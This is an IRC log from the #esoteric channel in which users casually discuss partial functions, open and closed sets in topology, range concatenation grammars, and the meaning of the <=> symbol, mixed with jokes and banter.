1267914698 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but sure < 1267914701 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :we don't need a word for functions and partial functions, because one is the subset of the other < 1267914702 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :... < 1267914704 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :as silly as oklokok is < 1267914715 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oklokok, if one is the subset of the other < 1267914723 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oklokok, then " all functions are completely defined" < 1267914724 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :is false < 1267914730 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :if you have a function that might be partial, say it's a partial function < 1267914747 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oklokok, or do you mean the reverse? < 1267914749 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :So the sine function is a partial function? < 1267914751 0 :scarf!unknown@unknown.invalid QUIT : < 1267914754 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :that functions are a subset of partial functions? < 1267914762 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, yes. and y=x is too! < 1267914763 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :no it's not, because it's functions that's a subset of partial functions, it's the subset containing functions that are completely defined on their domain < 1267914782 0 :ais523!~ais523@unaffiliated/ais523 JOIN :#esoteric < 1267914789 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, now you see why I took CS instead of math! < 1267914799 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: of course it's a partial function, it's just not a proper partial function ;) < 1267914801 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, we don't do silly things like that < 1267914802 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Eh, all this is terminology. < 1267914807 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :oklokok: ah, of course. < 1267914811 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :nick changed back by popular demand! < 1267914820 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, yay! < 1267914834 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, except someone is bound to ask "where is scarf" soon < 1267914835 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :if I have three different communities of people all yelling at me, what else can I do? < 1267914838 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: haha < 1267914852 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION decides to be silly by saying that 0 is a positive number and a negative number, but not a proper positive number or a proper negative number.
< 1267914864 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric ::D < 1267914869 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :i like that < 1267914888 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, ooh better idea: a point is a triangle, but not a proper one < 1267914895 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(all three corners in the same point) < 1267914907 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :All real numbers are irrational numbers, but some of them are not proper irrational numbers. < 1267914924 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :hmm < 1267914927 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Hmm. The opposite of "proper" is "degenerate", I believe. < 1267914934 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :So a point is in fact a degenerate triangle, as is a line segment. < 1267914953 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, now if we just could say that "all integers are negative, but some are not proper negative" :/ < 1267914971 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Alas, my intuition says that integers are a closed set. < 1267914984 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :in the topological sense? < 1267914985 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :(In fact, they are a closed set. Yay for intuition!) < 1267914992 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :No, in the intuitive sense. < 1267915008 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :i don't have an intuition, closed under what operation? < 1267915020 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :In the intuitive version of the topological sense. < 1267915026 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric ::P < 1267915027 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :okay < 1267915048 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Let's say that for all concepts "blah", "degenerate blah" is the boundary of "blah" and "proper blah" is the interior of "blah". < 1267915059 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :So every blah is either a degenerate blah or a proper blah. < 1267915065 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :All integers are degenerate integers. < 1267915128 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :All tall people are proper tall people, except for the shortest possible person X such that only tall people are taller than X, who is a degenerate tall person. < 1267915217 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :The surface of a drop of liquid consists of degenerate liquid. < 1267915257 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :what does closed mean in the topological sense? < 1267915267 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: the complement is open < 1267915277 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oklokok, I don't know that either < 1267915287 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :assume I know next to nothing about topology < 1267915291 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :in topology, we just call some subsets open. < 1267915297 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :All ice is freezing cold, and most ice is proper freezing cold, but ice at its melting point is degenerate freezing cold. Some liquid water is degenerate freezing cold, but none of it is proper freezing cold. < 1267915306 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(except that a coffee cup and a doughnut are equivalent) < 1267915312 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :we have a space containing points, and we say some arbitrary subsets are open < 1267915324 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Intuitively speaking, a set is open if it contains none of its boundary. < 1267915325 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oklokok, what makes a given subset open? < 1267915331 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :And a set is closed if it contains all of its boundary. < 1267915332 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oh < 1267915338 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :like (0,4)? < 1267915348 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(as opposed to [0,4]) < 1267915354 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :if so, why didn't you just say it < 1267915357 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Right. (0,4) is open and [0,4] is closed. < 1267915367 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, is that all there is to it? < 1267915372 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :No, not really. < 1267915372 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: nothing, we can define anything to be open < 1267915379 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oklokok, -_- < 1267915390 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oklokok, I define closed to be open! < 1267915419 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :There are, in fact, topological spaces where something is closed if and only if it is open. < 1267915422 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION leaves cleaning up the mess that caused to oklokok
< 1267915445 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, paradox? < 1267915447 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :In the topological space of integers, every set is both closed and open. < 1267915468 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :It happens that "closed" and "open" aren't opposites at all in the topological sense. < 1267915496 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :mhm < 1267915513 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, on the reals I find this hard.. < 1267915536 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :the natural topology of reals does have nice properties < 1267915547 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oklokok, oh? < 1267915548 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Another "definition" of openness: a set is open if for every point within the set, that point has a neighborhood that is also within the set. < 1267915551 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :the same properties the natural topology of every metric space has < 1267915563 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, define neighborhood < 1267915574 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, (that term makes me think of GOL) < 1267915587 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Intuitively, a neighborhood is a set containing a point and its immediate surroundings. < 1267915601 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :in the natural topology of a metric space, a set is closed iff it contains its own boundary < 1267915628 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Formally, a neighborhood is a superset of an open set containing a point. < 1267915630 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :in a general topological space, boundary becomes meaningless < 1267915652 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Can't you generally define the boundary as the difference between the interior and the closure? < 1267915691 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :the boundary is the thing that's not in the interior of the set or the interior of its complement < 1267915692 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :so yeah < 1267915701 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :that's how we define it < 1267915714 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: now, you may notice that every time we try to define openness, we then define the terms we used in terms of openness. Fundamentally, openness is whatever the topological space defines it to be; different topological spaces are different ways of defining openness on a set. < 1267915722 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, I noticed that < 1267915765 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, at least it isn't like the circle being a specific conical section, but when you think about it, a cone is defined in terms of a circle < 1267915765 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :all the intuition uorygl gave you about topologies is actually just properties the natural topology of a metric space has < 1267915783 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(unless there are other ways to define cones that I don't know about) < 1267915791 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :because in general those need not be true < 1267915805 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Really? < 1267915811 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I thought they were always true. < 1267915819 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :well obviously you can just permute the reals and take the topology of the permuted version < 1267915857 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :oh < 1267915861 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Well, if you use one topology for one part of the intuition and another topology for other parts of it, sure. < 1267915879 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :well umm, "immediate surroundings", that doesn't really mean much < 1267915887 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :True. < 1267915911 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :In the real numbers, a point does not have even one surrounding that is immediate. :P < 1267915918 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :AoC => a set is open iff all its points have an open set around them < 1267915926 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :what about complex numbers < 1267915929 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Seriously? < 1267915932 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :how is open and closed defined on those? < 1267915945 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: same way as in R^2, as the product topology of R and R < 1267915961 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oklokok, I don't know how open is defined in R² < 1267915974 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :A set of complex numbers is open if and only if all its vertical and horizontal cross sections are open. < 1267915976 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :R is a metric space, so we define the natural topology by taking the open balls as a base for the topology < 1267915983 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :wow ^2 produced ²!!! (^ is a dead key here) < 1267915999 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :whatever program ensured that happened: I love it < 1267916003 0 :oklokok!unknown@unknown.invalid PRIVMSG #esoteric :well okay i guess you could also say R^2 is a metric space so we can do the ball thing there too < 1267916008 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, ^ < 1267916022 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :only works for numbers < 1267916060 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oh and +- ⁺⁻ < 1267916258 0 :Oranjer!~HP_Admini@adsl-71-7-92.cae.bellsouth.net JOIN :#esoteric < 1267917589 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :Quadrescence: WANNA LEARN ABOUT RANGE CONCATENATION GRAMMARS? 8D < 1267917611 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :I do! < 1267917619 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :oh ok < 1267917621 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :so! < 1267917624 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :yes! < 1267917629 0 :MigoMipo!unknown@unknown.invalid QUIT :Remote host closed the connection < 1267917650 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :a range concatenationgrammar is basically a context free grammar, but instead of non-terminal symbols you have pattern-matched "function applications" < 1267917669 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :so it might be best to give you an example < 1267917690 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :lets consider the language { a^n b^n : n >= 0 } < 1267917698 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :we could have the start symbol S < 1267917701 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :and the following rules: < 1267917707 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :S(e) -> e < 1267917721 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :which just says if you apply S to the empty string, you get back the empty string < 1267917729 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :and the rule < 1267917736 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :S(aXb) -> S(X) < 1267917755 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :which says if you apply S to something that looks like aXb, where X is a variable, then you get back S applied to X < 1267917774 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :e.g. S(amb) => S(m) => fail < 1267917786 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :why the fail? < 1267917794 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :because theres no rule for S applied to m < 1267917799 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :just S(e) and S(aXb) < 1267917802 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :ahh < 1267917812 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :or more accurately < 1267917824 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :success is defined as reducing S(...) to the empty string < 1267917835 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oh no < 1267917838 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :so since theres no rule that reduces S(m) to the empty string, its a faulure. < 1267917847 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :augur, want to learn about music? < 1267917854 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :anmaster: yes! < 1267917855 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :I want to learn about music! < 1267917856 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :meh < 1267917858 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :too busy < 1267917862 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :>:( < 1267917875 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :so for the sentence aaabbb, you have the steps S(aaabbb) => S(aabb) => S(ab) => S(e) => e < 1267917879 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :so aaabbb must be an S < 1267917880 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :just wanted to derail the linguistics < 1267917891 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: this isnt linguistics this is formal language theory < 1267917901 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :hey AnMaster, what is tempo < 1267917917 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :you can also generate the language { a^n b^n c^n : n >= 0 } which is not CF < 1267917922 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :using the following grammar: < 1267917927 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :S(e) -> e < 1267917931 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Oranjer, number of played notes per time unit. Commonly 1/4 notes per minute < 1267917938 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :and what is a note < 1267917940 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :S(aXbYcZ) -> S(XYZ) < 1267917954 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Is there any reason that I should be learning Scheme over Common Lisp? < 1267917959 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Oranjer, uh. How to explain it? < 1267917966 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: scheme is more elegant < 1267917970 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :and it has awesomemacros < 1267917970 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Oranjer, I assume you are just being silly < 1267917974 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Oranjer, but < 1267917995 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :And no real "standard library" for practical use. Although I don't know if CL has that or not < 1267917996 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :silly in that I do not know the definition, but I know how it's used? < 1267918000 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Oranjer, know what happens when you press one (1) key on a piano? Well one note is played < 1267918005 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :as far as i can tell, RCGs are practically, not not exactly, Prolog. lol < 1267918010 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Oranjer, I don't know definition either < 1267918022 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: depends on what you mean by standard library. Scheme has a shittonne of standard stuff. < 1267918022 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Oranjer, I do know how to read scores however < 1267918040 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hm < 1267918049 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :wait that sounds wrong. what are they called in English now again < 1267918076 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :written music <=> scores, I believe < 1267918088 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :yes < 1267918110 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Oranjer, just got confused over language there < 1267918114 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :also, "<=>" <=> "is analogous to" < 1267918130 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :but < 1267918131 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :but < 1267918135 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :but < 1267918137 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Oranjer, no <=> means "is equivalent" < 1267918137 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :i have to understand <=> before i can understand <=> < 1267918138 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :D: < 1267918144 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :I know, augur < 1267918147 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :that's the thing < 1267918147 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :D: < 1267918166 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :i had a funky dream < 1267918175 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :did it break at the seams? < 1267918182 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Oh please, tell us of your funky dream :P < 1267918190 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :noooo! < 1267918220 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :augur: "<=>" is analogous to "is analogous to" < 1267918223 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :hahahaha < 1267918238 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :that i was playing a video game where i was a guy working on a submarine and in order to get around parts of the sub you had to put on these big suits that would act to keep water out and to provide life support and propulsion < 1267918266 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Oranjer, it doesn't actually mean that normally < 1267918273 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Oranjer, normally it means "is equivalent with" < 1267918283 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :or iff < 1267918290 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but then iff <=> "<=>" < 1267918293 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :Oranjer: yes but, is '"is analogous to" is analogous to' analogous to '"<=>" is analogous to' < 1267918301 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(except grammatically) < 1267918305 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :no no <-> is iff < 1267918310 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :<=> is mutually derives! < 1267918314 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :augur, what? < 1267918324 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :iff is a single arrow < 1267918329 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :<-> < 1267918333 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :but <=> is a double arrow < 1267918347 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :augur, <=> "is equivalent with" < 1267918347 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :double arrows are used for other things, for instance, the derives relation in formal language theory < 1267918358 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :augur: Sounds like a pretty bad submarine if it's full of water :P < 1267918362 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :augur, in math I mean < 1267918363 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :... < 1267918367 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :in maths < 1267918367 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: all submarines have water in them < 1267918370 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :ballast tanks, and such < 1267918387 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :OK, it sounds like a bad submarine if you had to go through ballasts to get to vital chambers X_X < 1267918389 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :but this one was presumably on its way towards being fucked < 1267918398 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :so, AnMaster, in these maths of yours, what is the difference between "=" and "<=>"? < 1267918402 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :augur, x+2 = 4 <=> x=2 < 1267918411 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :ahhh < 1267918412 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :i also had a dream of some sort involving aliens < 1267918413 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :augur, you don't write <-> there < 1267918419 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Does <=> mean "less than, equal to or greater than"? :P < 1267918423 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, haha < 1267918429 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :spaceship! < 1267918431 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :oh, you Gregor! < 1267918438 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Actually, D does have such an operator. < 1267918441 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :It means "comparable" < 1267918446 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Oranjer, anyway, = is "is equal" < 1267918459 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Oranjer, and equal is not the same as equivalent < 1267918464 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :oh man, i need some caffeine < 1267918471 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :im gonna go buy caffeine < 1267918478 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Raw, and snort it. < 1267918482 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :so why can't I say x + 2 = 4 = x = 2, or x + 2 <=> 4 <=> x <=> 2? < 1267918485 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, :D < 1267918486 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :oh, I get it now < 1267918488 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :yay < 1267918489 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: if only! < 1267918523 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :but what if I said ( x+2=4 ) = ( x=2 ) < 1267918524 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Oranjer, because 4 = x = 2 and = has the property that you can reoder around it. Which means you get x = 4 = 2 < 1267918532 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :which means 4=2 < 1267918535 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :which is absurd < 1267918545 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :( x+2=4 ) = ( x=2 ) ! < 1267918554 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :It's true in the right modular arithmetic :P < 1267918557 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Oranjer, that has no meaning < 1267918564 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Gregor, sure but then you need to write that out! < 1267918593 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :and my client doesn't support the three-bar equal sign thing anyway < 1267918615 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :just copy and paste it from wikipedia's excellent list of math operators < 1267918618 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :what about ( x+2<=>4 )<=>( x = 2 ) ? < 1267918630 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Oranjer, again I don't know what that means < 1267918648 0 :oklokok!unknown@unknown.invalid QUIT :Ping timeout: 276 seconds < 1267918659 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :*oops, the last "=" was supposed to be "<=>" < 1267918680 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Oranjer, don't know what it means that way either < 1267918682 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :well, is x + 2 equivalent to 4? < 1267918691 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :oh, I get it now < 1267918692 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :hmmmm < 1267918716 0 :oklokok!~oklopol@a91-153-117-208.elisa-laajakaista.fi JOIN :#esoteric < 1267918731 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :very well, I guess there'd have to be a different symbol for "is equivalent to" and "is equal to" < 1267918747 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :augur, wikipedia claims both <-> and <=> are used for iff < 1267918750 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :http://en.wikipedia.org/wiki/If_and_only_if < 1267918814 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :2 ≡ 4 (mod 2) yay < 1267918816 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: shut your fast < 1267918819 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :face < 1267918822 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric ::| < 1267918823 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :bye < 1267918834 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Shut your fast face! < 1267918836 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :augur, well, I have never seen <-> used for iff before < 1267918874 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :indeed, does it make sense to have a symmetrical symbol for a directed relation? < 1267918889 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :er? < 1267918898 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Oranjer, how is iff directed? < 1267918912 0 :Oranjer!unknown@unknown.invalid PRIVMSG #esoteric :it has a condition, and the result, right? < 1267918958 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Oranjer, but if the condition is true then the result is. And if the condition is false, so is the result < 1267918967 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :thus you could just as well turn it around < 1267918983 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :in fact <-> makes kind of sense. Since → is implies < 1267919002 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and iff <=> → in both directions 